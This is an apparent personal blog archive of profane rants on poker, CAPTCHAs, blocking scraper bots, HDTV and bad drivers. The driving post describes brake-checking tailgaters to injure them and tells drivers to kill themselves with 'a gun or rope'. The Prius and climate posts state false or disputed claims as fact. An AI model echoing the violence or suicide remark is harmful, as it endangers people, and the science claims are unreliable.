Why Do Poker Players Overstay Their Welcome?

I've been playing poker most of my life and no-limit Texas Hold'em for almost 20 years now and it never ceases to amaze me that people who are winning money, the table chip leaders, will continue to sit at that table until they bust.

What they hell is wrong with you poker players out there?

Hint: If you get a big pile of chips, GO HOME!

These people are obviously addicted to the rush of going "all-in" and sure they can double up their stack yet again and consistently lose it all.

The games I tend to play are either a 1-1-2 spread limit or a 2/4 no-limit, both with a minimum $4 bet and you can buy-in with a $100 minimum. Now the object of this game, at least my object, is to sit tight and wait for good cards while watching the play, maybe up to an hour without really getting involved with the action.

Do the math as my strategy really isn't that hard.

You pay for nothing but the blinds, unless you get killer hole cards, then you make your move.

The blinds in this game are typically $6 per each time 9 hands are dealt around the table, so you get to see 9 sets of hole cards for only $6. Better yet, you get to study how your opponents play 9 times (assuming 9 players per table) for $6 even if you take no action. This means for a measly $100 you can evaluate up to 9 hands per blind for 16 blinds, or a whopping 198 hands of cards.

The next thing is you NEVER buy-in for more than the minimum, which is $100 at this game, even if you could buy-in for $200 or more. Why you do this is you're protected in an all-in bet limited by your current table stakes. This gives you a lower risk all-in opportunity to double up your money for each $100 you buy-in. If you lose an all-in bet you've never lost more than $100 so you still hopefully have another $100 in your pocket to get more chips and try again.

Now the real secret, IMO, is to never spend more than $300 per day playing this game otherwise you quickly get upside down losing so much you have to keep chasing pots to get back even, let alone winning. If the cards are that bad and you've already lost $300, which would be about 3 hours playing for me, it's time to go home and try again another day.

Do I sound like a cheap gambler to you?

Hell no, just a smart one.

Been there, done the big stakes, the game is still the same small or low stakes.

The idea is always to play on THEIR money and not use YOUR money if possible. My investment in the game is just the bankroll to get the first big win and then I gamble using my winnings to get to the next bigger win. I could easily be into a game for a thousand dollars but that would be stupid as the object is to build off a smaller bankroll and then play on other peoples money. If you see me sitting with a thousand dollars in front of me you can bet your ass I have typically no more than $200 invested in the game. If I start to lose and see my stacks of chips declining, I always try to get out at a minimum with at least what I started with, and some winnings as well, not go completely bust like I see so many others do consistently.

Now that you have an idea of how I play, a little backgrounder on me, let's get back to the topic of people that overstay their welcome...

I took a break from no-limit poker for a couple of years, not because I didn't want to play, but because I couldn't find any good games locally. Then a few months ago I came across the exact same version of the No-Limit Texas Hold'em game I always used to play and it was a blast. So far recently I've played it 6 times and won 5 times, cleaned up all but one night when the cards just plain stunk.

On a couple of these games, I walked up to the table and there was a definitive chip leader with $800-$1000 piled up in front of them. One of them was a really solid tight player and the other was a loose player chasing pots that just happened to get lucky. The tight player sadly got a bad run and started losing to me with such hands as my King-high flush all-in against their Queen-high flush, and so on and so forth, one bad beat after another until I broke him on a final all-in bet. The loose player was a different night, ah well, he would bet large amounts on an Ace-high nothing into my 2 pair, and similar bad bets, and literally thought he could bully me out of the pot with bigger bets but I called and broke his ass as well.

When I took their big pile of chips guess what I did?

I WENT HOME!

Remember what I said, they overstayed their welcome and gave it all back. I didn't overstay my welcome, I cashed out and went home, adding their money to my gambling war chest.

Until next week...

Myths About CAPTCHA's

For those that don't know what a CAPTCHA is, it's something that typically a human can answer but automated software can't figure out. An example of this is on the comments page of this blog which has a box with the squiggly letters you have to type in before you can submit a comment.

Some people are declaring that it's the end of the CAPTCHA era either with human powered sites that trick visitors into providing the answer to the CAPTCHA, or automated image recognition software that just needs time and a little computing horsepower to decode the text in the image.

Myth #1 - CAPTCHA's aren't accessible to the visually impaired.

Accessibility issues are a legitimate complaint for some sites that don't implement a robust accessible CAPTCHA solution. For instance, the visually impaired can use the alternative audio CAPTCHA used on this very blog that solves this simple problem. Other types of CAPTCHAs that are math or word problems which are easier to read are also accessible.

Myth #2 - All CAPTCHA's are those squiggly text things seen on blogs.

Most of the comments about CAPTCHA's are based on the one type of CAPTCHA that uses extremely bent and distorted text called Gimpy. However, Gimpy is just scratching the surface when it comes to CAPTCHAs as they come in many forms.

Some of the other CAPTCHAs variants include identifying what's contained in a picture, simple math questions like "1 + 4 = ?", a text question like "What color is the sky?", or typing in the letters or numbers played via audio.

If you don't think people can spell "BLUE" or answer the math question properly you can always give them a nice drop list of possible answers and only give one chance to answer per question to stop bots from hacking at the answer.

Myth #3 - Bots can easily "BLOW THROUGH" CAPTCHAs.

When humans are being used to provide CAPTCHA answers that can be the case, but only when you implement sloppy CAPTCHA code in the first place. You can use a series of security measures to make sure there's a human sitting at the keyboard and it's not being passed through by a bot.

1. Require Javascript to validate the CAPTCHA since the majority of bots don't run Javascript in the first place.
2. Obfuscate your CAPTCHA in randomized encoded Javascript so that it's difficult, if not impossible, for a bot to even detect the presence of a CAPTCHA on the page in the first place.
3. Use Javascript input sensory techniques such as MT Keystrokes to detect whether a human has actually typed into the field on the web page.
4. Randomize the type of CAPTCHA being used so that there isn't a single specific type of CAPTCHA to target with an automated tool.
   

Summary

The real vulnerability of most forums, blogs and wikis face isn't even the risk of CAPTCHA failure, it's the identical footprint of all the Open Source software which makes locating the comments pages so easy.

Changing the name of the anchor text and page name on a blog from "comments" and "comments.php" to "Post an Opinion" and "youropinion.php" is another form of CAPTCHA because the human will immediately know where to click but the bot might get confused.

Better yet, since most bots don't read javascript, simply obfuscate the actual HTML of your "Leave a Comment" section in Javascript. When bots can't even find the link to "leave a comment" or the form fields where you enter a comment in HTML it may eliminate the need for the more complex text bending CAPTCHA's in the first place. Sure, the spammers could code the bot to decode a single instance of obfuscated Javascript for a single blog, but the code itself could be randomly obfuscated so that it would be quite a difficult task.

Don't let the naysayers dissuade you from increasing the strength of your spam blocking as stronger CAPTCHA's combined with Javascript tricks appear to be bulletproof until the bots get a lot more complex and smarter.

P.S. Note that the guy claiming CAPTCHA's are dead doesn't have one on his blog and if you scroll down past the actual comments you'll see he has a shitload of porn spam at the bottom. Obviously someone knee deep in spam is NOT the person you should be listening to about whether or not to use a CAPTCHA.

Gigablast Data Trail

While following where my data goes on the internet I found a couple of sites that appear to be using data from Gigablast which include eWoss and searchEstate.

The upside is fewer crawlers as they're leveraging existing data crawls in multiple locations.

The downside is that you have no control where your information shows up so the only way to control that relationship is block the source.

Update: Also found Gigablast content in Webled as well.

Ezilon Also Has Some LookSmart Content

This time my content tracking bugs led me to Ezilon which has content that originated from LookSmart. Don't know if Ezilon is a LookSmart partner or what the deal is, perhaps they scraped LookSmart, but the link to one of my sites in their listings was definitely crawled by LookSmart.

Just goes to show that blocking bad bots from your site doesn't always stop your content from being misappropriated anyway.

Update: Also found LookSmart data in xogger.com.

5 Reasons Why I Blog - Tagged By a Boy Named Sue

Looks like old anti-spam Connie tagged me because I'm a second-rate blogger that's about as popular as a fart in an elevator, but I'll accept that tag and play the game.

So here goes with my 5 reasons why I blog:

1. Because I'd probably get kicked off most, if not all forums, for saying some of the shit I say. Therefore, the best way to truly express my opinions and not get a boot to the head was to take it elsewhere, and the blog was born.

2. If I didn't blow off some steam every now and then when things are really pissing me off, my fucking head would explode, therefore blogging is also done for medicinal purposes.

3. My wife is probably sick and tired of hearing me rant and rave about things that get under my skin so I blog them out, then she can read it once, or I might read it to her, and it's over with. The blog may actually be saving my marriage until I blog about her one too many times, or about the wrong topic, and then the shit will hit the fan for sure.

4. I actually have some useful information to pass on from time to time and the blog is as good as any place to post it.

5. Blogging about exposing, blocking and whacking scrapers and spammers pisses them off so the blog gives us a nice virtual parking lot to duke it out.

There, I've done the deed, 5 fandamntastic reasons why I blog.

Looks like I should tag 5 other people just because misery loves company:

John Andrews - because I know John dislikes following the herd
MartiniBuster - just so I can imagine him rolling his eyes at me
SpamHuntress - so she'll get off MySpace and start blogging again
John Scott - he's been so intermittently blogging someone needs to kickstart his ass
WillMac - bots make him as crazy as they do me, so he needs to share

That's all for this time and may whoever comes up with the next game of blog tag get a big swift kick in the nuts from all of us that feel dragged into this shit whether we want to play or not.

Don Imus Joins Ranks of Unemployed

I've always hated Imus and just the sound of his voice and his idiotic bullshit made me want to smash radios.

Then those idiots over at MSNBC decided to put that stupid fucker on TV so the country could see that walking corpse spew bullshit in living color. That was the last day I ever watched MSNBC simply because it wasn't worth the risk of accidentally seeing that past-the-expiration-date walking organ donor still polluting the tube.

Now, thank the gods, he has aimed his prejudiced venom at the wrong bunch of women and not only has MSNBC gained a potential viewer when they canceled his dawn-of-the-dead carcass but CBS then followed suit and booted his old dusty ass to the curb.

Bye bye Imus, I won't miss you one fucking bit.

TIP FOR IMUS: Don't call the lady processing your unemployment claim a "nappy-headed ho" or she'll slap your ass into next week.

Webaroo's Content Stealing PulseBot Flatlined

If you've never seen Webaroo before, the concept of copyright obviously has been completely glossed over.

Here's what it says on their website:

Webaroo servers crawl the web, analyze web pages and automatically select the subset of pages with the greatest diversity and quality in the least storage size. These pages are then packaged into topic-specific "Web Packs" that can be downloaded by users onto their devices. Once downloaded, users can search and browse that content on the go.

Here's an English to English translation:

Webaroo takes whatever copyrighted content of yours we want and repackage it for our customers without permission. Of course we do it without permission because nobody knows about Webaroo in the first place so they won't stop us or the many bot names. Isn't it cool how we're going to steal your shit and pack it up so others can download it and now they don't even need to bother visiting your website? Wicked!

Look at the total number of bot names coming from their crawler's IP address.

64.124.122.228 "WebarooBot (Webaroo Bot; http://64.124.122.252/feedback.html)"

64.124.122.228 "PiyushBot (Piyush Web Miner; http://piyush.com/feedback.html)"

64.124.122.228 "RufusBot (Rufus Web Miner; http://www.webaroo.com/rooSiteOwners.html)"

64.124.122.228 "RufusBot (Rufus Web Miner; http://64.124.122.252/feedback.html)"

64.124.122.228 "SumeetBot (Sumeet Bot; http://64.124.122.252/feedback.html)"

64.124.122.228 "PsBot (PsBot; http://64.124.122.252/feedback.html)"

64.124.122.228 "pulseBot (pulse Web Miner)"

Hell, if you were trying to stop them using robots.txt it's a lost cause as the bot names seem to get changed faster than a baby's diaper.

I would just block their range of IP's, it's more convenient.

Webaroo MFN-B843-64-124-122-224-27 (NET-64-124-122-224-1)
64.124.122.224 - 64.124.122.255

That's how you stop name changing bots, the firewall way.

Package THAT into a topic-specific "Web Pack" and download it.

Prius Damages Planet Worse Than SUVs

I'm sure a few of you have read the report that the actual environmental damage caused by a Prius is worse than a Hummer, but in case you haven't, go read this article. I'm not saying that the concept of a Prius is bad, nor is trying to save some gas bad, but when you stack up the total environmental damage caused by the Prius manufacturing process vs. the meager savings to the end user, it's damn near criminal.

Bet you Prius users feel good about saving some gas in your wallet while driving an overpriced vehicle that has already caused more harm to the environment than the average car had you driven it instead.

Now that you've read it and are more educated about the situation, if you actually own a Prius, you should take it back to your Toyota dealer and demand a refund purely on the ethics of this so-called environmentally friendly car. If they refuse to give you your money back, I'm wondering what a Judge in a court of law would say if someone sued to get a refund about being mislead about the environmental impact of the Prius.

Hey, it's just a matter of time and we all know Americans love to sue.

Besides, the environmentally hopped up fanatics won't admit they made any mistake in the first place or they'll tell you they're all too busy getting people to sign a petition to ban the chemical H2O which is getting into all the water supplies.

Fucking tree hugging naive planet killers, don't you just love 'em?

Swooglebot Thnks My Site Is Anti-Semantic

Here comes the little toy bot from UMBC that's trying to figure out the semantic web and sure enough, my anti-semantic site booted the little fucker.

Here's the 411:

130.85.34.29 [eb2.cs.UMBC.EDU.] "Swooglebot/2.0. (+http://swoogle.umbc.edu/swooglebot.html)"

Since my site is anti-semantic, does that make me an anti-semantite?

Hmmm...

Nutch Goes to the Opera

OK, everyone knows I'm a big Nutch fan.

Everyone should also know the above statement is sarcasm laid on thick like peanut butter.

Anyway, back to the topic...

I saw this supposedly Nutch user agent in my logs today which is pretty slimy claiming to be MSIE, Opera, and Nutch all in the same UA.

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.01/Nutch-0.9 (http://lucene.apache.org/nutch/about.html; http://lucene.apache.org/nutch/bot.html; mail@dev.null)

Whoever thought that was clever enough to slide under my radar was wrong as that word Nutch set off alarms and tossed your crawl into the online equivalent of the pit of despair.

Sorry, better luck next time.

Craigslooters Even Take Kitchen Sink.

If you missed this news item it bears repeating just because it's a cautionary tale about how some people are real lowlife scumbags.

Someone posted an ad on Craigslist for a location in Tacoma telling everyone to "Please help yourself to anything on the property." and they took it, literally took everything including the front door and the kitchen sink.

Who in the hell takes anything posted on Craigslist that seriously?

Obviously common sense flew out the window when the first person on the scene encountered a locked building and had to remedy that situation before they could start helping themselves to everything else, so I assume the door was the first to go.

Wonder what could happen if someone posted something like this for a local WalMart for the "2am giveaway, everything you can carry in 1 trip you can have!". Would people be that stupid to think WalMart was endorsing looting their own stores?

After what happened with the LA riots, anything is possible.

It's just another reason to weep for the future.

Porn spammers at it again

Don't know what porn spammers hope to gain from this, but they're adding a parameter to an actual URL on my site and cloaking this information to Google.

You may see requests like this in your log file:

http://www.domain.com/mypage.html?ref=spammerdomain.com

Don't know what they're trying to game in Google, don't even give a shit, I'm just bouncing any request with "?ref=" in the URL to stop this nonsense cold.

WorldWebWide Scrapes LookDumb

Today my content tracking bugs led me to something in the worldwebwide.net which originated from LookSmart.

The IP address where the data was originally crawled from:

60.88.242.64 -> sv-crawlfw4.looksmart.com

This is nothing new as LookSmart seems to be a scraping target as I've already reported same thing happening with GoodBidWords.com containing scraped LookSmart listings.

Livebot vs. Googlebot - Microsoft trying to catch up?

Was looking over my log stats today for my site (not this blog) it was surprising to see Microsoft's Livebot crawling very aggressively, possibly taking more pages and returning faster then Googlebot this month. I'll give Livebot this much, the volume of crawling is pretty impressive compared to what it used to be so it looks like Microsoft is in this horse race to win and not just play 3rd fiddle.

Then of course we have our pals over at Ask slowly poking around my site. If Yahoo's Slurp is taking a nap this month, Ask must be in a coma or something. Slow as a snail and information seems to take forever to show up on their site. Maybe they cater to the dial-up crowd.

Then good old Gigabot seems to be crawling from a new bank of IPs and I don't even care.

Anyway, it will be interesting to see how quickly some of my new site changes show up in Live because crawling that fast and not updating as quickly would be silly!

Site Upgrade Finally Started

Finally got around to upgrading to the new Blogger layout today and even managed to organize some of the posts with labels just to see how that works. The archive section is much easier to navigate and I think people will find this a whole bunch easier to use once I'm finished with upgrading.

Now to find a nice stretch template I like that fills my full 1680 x 1050 display and doesn't look like shit on the laptop's 1024 display!

Where have all the blog posts gone?

Sometimes I just have to take a little time out to make some freak'n money people. I'm not ignoring you, I'm still here, but there are days when I get so focused on doing actual work that the rants go unpublished. Besides, not all of us have the stamina to read such long winded minutia, let alone the time to write it.

Additionally, I'm getting prepared to go out and rub elbows with people that have venture cash tonight and see if there's any interest in my little project to take back control of the web. If I don't come back with a bunch of biz cards from tonight's little party just shoot me.

A few topics on my mind:

1. It was nice to see common sense prevail when a Judge kicked KinderStart in the ass.
2. Microsoft seems to be taking aim at Made for AdSense aka SPAM sites.
3. Someone sued the Internet Archive for stealing her site.

Fun fun fun.

Local Searches and Associated Ads Miss The Boat

Local search solutions and the contextual ads that appear with those searches have some wrong thinking about how they geotarget ads to the customer.

For instance, I don't live in Alabama but I'm trying to help someone I know locate a service in Alabama, such as a plumber. Go to Google and search for an "alabama plumber" and you get the proper results and appropriate ads displayed.

Now let's trying clicking on one of those ads in Google that takes you to some specialized local service which claims it's taking me to "alabama.whatever.com" on their site.

Do I get listings for Alabama related sites?

Hell No!

The local site picks up on the keyword plumber but shows me a page geotargeted to MY IP, not what I was actually searching.

Let's assume for a second that Alabama wasn't enough information, so I changed the query in Google to "Birmingham, Alabama plumber" and clicked through and got the same stupid results from the local site pointing me back to my local area.

What's worse is that Google AdSense will show you local advertisements when you're clearly on a page researching another location. In all likelihood you would NOT click ads for your local area when it's painfully obvious, even to dense people, that it's not what you're interested in finding. Google can't claim they don't know you were interested, or it's too complicated to geotarget in that way, because Google was the search engine that found that page in the first place and passed the query information to the page you clicked which contains AdSense that reads the referrer!

Yet, here you are looking for Alabama things, on a page all about Alabama, with a referrer and query passed by Google about an Alabama search, and there's AdSense showing ads about Nevada, California and the SF Bay Area.

HELLO?

Anyone can plainly see that THOSE ADS AREN'T RELEVANT to the topic!

Obviously the local search services have a way to go and Google is just losing money with inappropriate ads on those sites.

They better get it together on local sites before someone smarter steps in and fills the gaps.

Take Your AdSense Sites to the Next Level

Don't know how many people out there that read this blog are running sites with AdSense, but I posted a thread on WebmasterWorld that may be of interest.

Go read Unlock the limits of your AdSense earnings potential and you can see that I shared quite a few things you might find useful.

Stop Cloning Around

Here's a random thought of the day to ponder.

Assuming you were cloned, if you have sex with your clone is it incest or merely masturbation?

MSN and Yahoo cleaner than Google?

I've been watching my scraped content in all the search engines and just recently most of the junk sites vaporized from Yahoo and MSN yet Google is still knee deep in scraper results for my sites. Obviously this is nothing scientific yet as this is just a casual observation, but Google is getting a little butt kicking in the cleanliness of content department from where I'm sitting.

Additionally, Google is still crawling proxy sites that cloak lists of links to them like a kid in a candy store, they just love those cloaked links, so nobody seems to be interested in fixing that problem.

Deep Blue Funky Time

Ever have a week or two when you just say "fuck it" to everything?

So the blog goes unpublished for days, emails piling up unopened, voice mail flashing non-stop...

Took a mental health day and went to play some no-limit Texas Hold'em and came away with some winnings, so that was a bright spot. Had a few lunches out with a friend and pounded a few pints as well which is always good for what ails you.

Then an old friend popped into town the other day to interview for Google of all things. Ah yes, there's 2 nights of dragging my ass out to dinner. Oh the horror of it all, having to pull myself off the sofa and get dressed and engage in small talk 2 nights in a row.

What could happen to put the funk back on after snapping out of it?

You guessed it, the kid calls and she's blown her engine and of course needs Daddy to pay to get her a new engine or a new car.

Also, what should've been a bright spot was the new decked out Vista laptop which of course doesn't run all of our software and we're thinking about shoving it up Costco's ass for a refund.

Fuck.

Well, despite my best efforts to lay on the sofa all day again today basking in the glow of the plasma TV I managed to clean off my desk, do some web work and even post a blog entry.

Perhaps it's issues with big oppressive corporations trying to tell people how to run their businesses that makes it harder and harder to get off the sofa, who knows.

Current Mood: the world can kiss my ass

Extra! Extra! Stupid People Are Still Stupid!

You know they're stupid, I know they're stupid, so why don't THEY know they're stupid?

I was just going through my Inbox today reading more stupid emails, some are even replies to auto-responders which told them exactly what to do, yet they ask again.

My first thought was to install yet another auto-responder to automatically answer replies to the first auto-responder that would clarify the situation.

Dear Customer,

If you replied to the previous email you're stupid.

The email was written at a 3rd grade level so even a school child could follow the instructions. If you don't have any children look outside and there's probably a child , age 8 or above, playing ball in the vicinity that can help you out with your current problem.

Please read the simple instructions and just click the damn link in the previous email.

You did see that link, right?

It's not hard, click the damn link.

Regards,
Customer Support

Not that I would actually send such an email, but god knows there are days I really truly want to send that.

However, they would probably just reply with another question...

MyBlogLog Steps in ShoeMoney

Not that I pretend to know what in the hell is going on at MyBlogLog with all the security holes being posted, but it looks like they shot the messanger and banned ShoeMoney.

You people at MyBlogLog are out of your fucking minds.

You don't ban people that tell you where your flaws are, you fire all the incompetent programmers that keep making the flaws and thank the customers that use your service for pointing out serious issues before they become a crisis.

I was considering using MyBlogLog but now that I know it's MyFlawedBlogLog with a big chip on their shoulder I think I'll just pass on this bullshit.

Tips on Link Checking and Scrubbing

Many of you know I run a directory site and may be interested in some tips I posted on scrubbing links over at WebmasterWorld in their Directory forum titled "Directory Listing Hijack Detection". It's a bit off topic from my normal bot busting posts, so there isn't much of an audience for it here, but for anyone interested in the topic you may pick up a few tidbits from things I've been doing.

Somehow, at the end of the day, busting stealth bots and hunting links hijacked by domain parks doesn't feel all that different as they're both trying to slide in under the radar to make a profit without being noticed.

The Gigablast to Google Content Connection

Some of my "scraped" content kept showing up in places not expressly authorized to have my content. This was making me a little batty as I'm pretty sure the bot blocker wasn't letting these people through, that my code didn't have holes like swiss cheese, then I figured it out. Finally there was a clue embedded in some of the data, as it included one of my tracking bugs, and it turns out the data originated from Gigablast.

Knowing it came from Gigablast, I looked up Gigablast's list of partners and VOILA! there was the site in question listed in their partner list.

Now comes the dilemma of what to do about this situation as I'm not happy with a couple of their partners and by allowing Gigablast, I'm permitting the partners access by default.

Worse yet, Google indexes the Gigablast data that's present in their partner sites, like Eurekster, so here you are competing with your own content in Google yet again via the Gigablast connection.

Since I really don't get any noticeable traffic from Gigablast or any of their partners, maybe it's time to cut the umbilical cord just to keep my own information from being used against me to rank their partner sites in Google.

Looks like we need some robots.txt commands that we can use to tell search engines like Gigablast it's OK to index, but not share with Snap for instance.

Maybe implement something like this in robots.txt for search engine partner control:

User-agent: Gigabot
ShareDeny: SNAP
ShareDeny: Eurekster

It's feels almost as bad, if not worse, than battling a scraper but this time I let this one in the front door with my blessings.

To block or not to block, THAT is the question...

Did You Hear My Horn?

This is an open letter to all the incompetent drivers out there on the roads of the world.

You know who you are and we know who you are too, which is why we're honking our horns at you, flashing our lights at you, and most likely slamming on our brakes to avoid your masterful maneuvers when you're showing off your true talents on the road.

Lanes, pick one and stick to it.

Follow those little dots and dashes on the road and stay between a pair of them, it's not that complicated. When making a 2 lane turn into a 2 lane road, stay in the lane you started in unless you want to explain your incompetence to the mechanic, insurance company and the Dept. of Motor Vehicles.

Even if a road jogs at a funny angle as you cross an intersection, and the markings aren't too clear, it's not rocket science. If you're on the far left or right in a 3 lane road, stay to the far left or right. If you're in the middle lane it can't be that complicated to figure out where the middle is in the road across the intersection but sure as shit, 9 times out of 10, you end up in the far right lane with people honking (often me) and screeching brakes to avoid your dumb ass.

Aren't the cars in the lanes next to you any clue that it's unsafe to change lanes at this time?

Turning Signals or Blinkers, Use It or Lose A Fender.

It's that little lever on the side of the steering wheel that you either never learned how to use or it's too inconvenient to use because your fucking cell phone is currently in that hand. I'm not a mind reader, and even if I have a clue what you're about to do, I'm going to completely ignore it because you're too stupid to expressly tell me. Maybe I'll even speed up just to make sure I'm in the way and completely justified for blasting my horn and scaring the shit out of you which will probably cause you to then over steer to avoid me and careen into a bus load of kids on the other side. Signal your turn or die, your choice.

Turning Lanes, Get Out NOW!

If you're in a right or left exit only or turn only lane, can you explain why in the hell you wait until you get up to the end of the lane, often at a stop sign, before you decide to change lanes?

Never mind the long line of cars behind you now waiting since you fucked up their lane.

Never mind the long line of cars in the lane next to you because you're fucking up their lane as well. Most often you veer into that lane as you try to change lanes, without a turning signal (see Turning Signals or Blinkers above) and then panicked and stopped so now they can't get around your dumb ass either.

Doesn't the sound of those horns honking behind you give you a clue you're a pinheaded fucknut?

Space, Keep Your Damn Distance!

If I look in my rear view mirror and you're tailgating then you might want to pray your brakes, airbags and seatbelts all work properly.

If you're driving an expensive and well polished German car, I might just put on my windshield washers which will send a spray of water over the top of my car onto that wax job you just paid for and put spots all over your car. Some of you are smart enough to back off after my washer pisses on your Porsche a time or two, others not so bright.

Maybe I'll just drop from overdrive into drive and completely let off on the accelerator so the engine will suddenly slow my car down real quick, no brake lights, not a single clue I'm slowing, and scare the shit out of you when you almost plow into my car.

Hell, you want to be in my backseat?

Maybe I'll just help you out...

Maybe, if I'm all alone in my car, and you're all alone in yours, and there's nobody else around, just maybe I'll slam on the fucking brakes so hard that you'll smash into the rear of my car with enough force you'll pop your airbag like a balloon, fly through your windshield, smash through my rear windshield, where you can lay bleeding to death in my backseat assuming you aren't already dead from the impact.

Pulling Into Traffic.

Why in the hell do you watch the other cars coming at you, sitting there with your thumb up your ass, and suddenly pull into traffic at the last second?

You must realize it's a bad idea as you hear the screeching brakes and honking horns that greet your entry onto the road yet you do this every time!

If suicide is your wish, use a gun or rope in the privacy of your own home and leave me and everyone else on the road out of it.

Handicap Placards.

Let me give you a hint: those blue handicap placards or handicap stickers on your license plates do not make you invincible or give you carte blanche permission to do stupid shit on the road without repercussions. If you think you're handicapped now, just wait until 3 thousand pounds of screaming steel fucks you up worse that you already are. Just look at what happened to Christopher Reeves and that was just a single horse power, so imagine what my 455 horse power can do to mangle you further.

Summary

The difference between a drunk driver and a your bad driving ass is that at least the drunk driver can sober up but your bad driving is dangerous 24 hours a day, 7 days a week, 365 days a year.

Take a fucking cab before you kill yourself and take innocent people with you.

Just get off the road now, stay off the road, and we'll all live longer and happier lives.

10K Years of Global Warming is Cool

The scientists now yammering about global warming had better go get some parkas and brace for the ice age instead.

Lot's of evidence all over the place that the earth's ice has been melting for a really long time such as the undersea stone age sites located off the British Isles or the Tybrind Vig off the coast of Denmark.

I'm pretty sure these settlements didn't start under water so you have to ask yourself just how much ice had to melt to put them under water?

I'll bet Neanderthal man tried to limit greenhouse gases by banning fire.

Personally, I'm banking on the theory of ice age cycles. Theory hell, there's a lot more evidence in the scientific community that supports crap in the atmosphere ultimately causes cooling than it does warming in the long term. As a matter of fact, many contend that all the fresh water dumping into the ocean causes the ocean currents to stop moving the way we're used to which will disrupt our current weather patterns.

Note that Geologists agree that Egypt was subject to severe flooding at the end of the last Ice Age and that evidence is found on the bottom of the Sphinx in the form of water erosion, opposed to the wind erosion on the upper half, which makes the Sphinx much older than originally speculated.

Either way, it's not going to be pretty, as being too hot or too cold both suck and it looks more likely that cold is in our future.

Needless to say, the landscape will all change, and soon it will be places like Mexico screaming about illegal immigrants as North America is engulfed in a sheet of ice and snow.

Time to go bunk with some Eskimos and learn some basic Ice Age survival skills while there's still time!

Plasma TV Money Pit - The Sequel

The plasma TV did arrive on schedule, as promised, no surprises there.

No surprises until they brought it inside and started to "hook it up" and then give us our "15 minutes of instruction" on how to use it. This was a real fun treat as the "trainer" didn't speak very good broken-English and had no clue how to make the remote and TV all work properly with our cable box which surprising as it's the dominant cable provider in our area.

Luckily I've wired up just about every TV configuration known to mankind and programmed dozens of remotes, so after the INS (working on an anonymous tip) came and collected the delivery men, I got busy getting the system to work together.

OK, we didn't call the INS, but I can dream after being left holding the bag with a TV that they were supposed to connect and show us how to use, can't I?

Now we're having a battle of the remotes and it went from one remote that ran all our gear flawlessly on the old TV to needing 3 remotes just because a couple of special features on each device aren't universal. For instance, I can't seem to get the cable remote to adjust the surround sound volume, it always resorts back to the TV volume regardless of the device selected. Then there's the little issue of the plasma TV aspect ratio, which the cable remote doesn't appear to have when driving the TV. Then of course there are some things the cable DVR remote does that doesn't seem to work on the plasma or surround system remotes. Of course it's possible there's some other codes or crap to feed into the remote that resolve some of this nonsense so perhaps after a little research I'll have more answers.

However, I think it's all a bunch of bullshit, that's what it is.

All these companies that build all these TV components and remotes know exactly what the fuck their customers will be doing with them, there's no surprises here, unless you're the consumer that buys all this shit just to find out you're fucked in the ass yet again. I feel like the girl in the porn video getting double penetration, but since I'm using 3 remotes, it's triple penetration.

The other thing that pisses me off is all of the channels that claim to be HDTV yet put out a 4:3 signal with colorful borders on the side. Sure, it's an HD signal, looks really pretty and all that, but do I really need to see ESPN with the letters "HD" running up both sides of my fucking television?

Then there's the major networks that broadcast full screen HD programs yet the commercials and news are in 4:3 format and you're just sitting there watching this fucking thing bounce back and forth all night until you're about ready to fucking scream.

Drinking helps.

Don't forget those lovely cable movie channels I pay for like HBO and Showtime which have a bunch of channels but only one HDTV channel per brand on Comcast.

Last but not least, we have to mention some of the cable channels that look like complete shit on HDTV and should just be ashamed of themselves.

On the bright side, UHD (Universal's HD channel) showed a preview of the new season of Stargate Atlantis in full blown 1080i and it was absolutely gorgeous.

Now the part you wouldn't expect at all, my Comcast dual-tuner DVR and the HDTV channels have aspect ratio problems with each other. For instance, you're watch Grey's Anatomy in full screen mode and hit pause, there's a little box on the bottom of the DVR status bar that goes off screen. Additionally, if you check the Comcast TV Guide while in full screen mode it chops off some from the top and bottom of the TV Guide because it doesn't know what mode you're in. The two devices, the TV and the DVR, and out of synch and it's damned annoying but you just get used to having a partially hacked off TV Guide on your screen.

Come on all you HD promoting asshats out there, get with the program and fix your shit!


My advice for people that rarely watch DVD's, cable movie channels (HBO, SHO) or regular network TV programming (ABC, CBS, NBC, FOX), would be to skip HDTV as you're just throwing money down the crapper to watch a grainy signal on a big bright TV screen. However, if you watch all those things also available in HDTV on a regular basis, like I do, you'll enjoy it immensely and wonder what took you so long to get on the HDTV bandwagon!

Overall I give HDTV a big thumbs up, but the TV industry still has room to improve.

Plasma TV Money Pit

My wife and I have been drooling over 50" plasma TV's for about 2 years now, but since we already had a rather large TV, we just sat back and watched as we knew the prices would plunge, eventually.

Being the first on your block to have one isn't always the smartest move.

The same Panasonic units that started around $5K when we first saw them recently dropped to $3500 last year and within 6 months was selling for around $2800 at Costco. We sat back and watched the prices further plunge to $1999 before Christmas and then jump back up a few hundred after the holidays.

So here comes SuperBowl, not that I'll be watching it as we affectionately call it SuperBore, but that's a different rant. However, the SuperBore gave the stores an excuse to run yet another sale so when they put the supposedly $2799 priced TV back on sale for $1999 with FREE SHIPPING, and a coupon for an extra $150 off, we finally broke down and yelled SOLD! to the gentlemen in the back for $1849.

Then comes the fun part as they try to shove an extended warranty down your throat for $500 which includes replacement for damage due to those scary POWER SURGES. Sorry, at the rate TV's are dropping in price I could replace it with a lesser model 50" for $1200 so I don't think I'll need that warranty. Not to mention the fact that for a mere $99 I can get a decent UPS with surge protection which also keeps the DVR and DVD player powered up when the electricity goes off which is a huge bonus.

Not that the electricity goes off very often, but these damn Comcast DVR's lose their TV Guide when they lose power and it takes almost 2 days to completely restore the damn thing. We also have a Tivo that doesn't have that problem, it retains the TV schedule after a power failure, but Tivo also doesn't have a dual-tuner unit with both inputs that are full digital cable capable. Needless to say, the UPS unit will come in handy.

Now you either need to wall mount this damn TV or buy a big ass TV stand. Being that we couldn't agree which wall to mount the thing on, we ended up buying some big ass TV stand with a mounting bracket on the back so the TV is elevated a bit more for better viewing than just sitting on top of the stand. Living in California also makes having the TV secured to something in the event of an earthquake also a better idea than leaving it loose on top of the TV stand. The best part is the mounting bracket on the stand is articulating so it will easily swivel without scooting the TV on top of the stand.

Well hell, when you've already spent all this money why stop without adding HOME THEATER SURROUND SOUND to the package. I thoroughly expect to have the neighbors calling the cops when they hear constant shooting sounds as I love to watch cop and mobster shows.

Expect to see my house surrounded by a SWAT team on the local news...

OK, here's where these screwy companies selling this high-tech stuff piss me off as I notice I'm about to be ripped off.

Well, you'll need an HDMI cable and those start at $99.

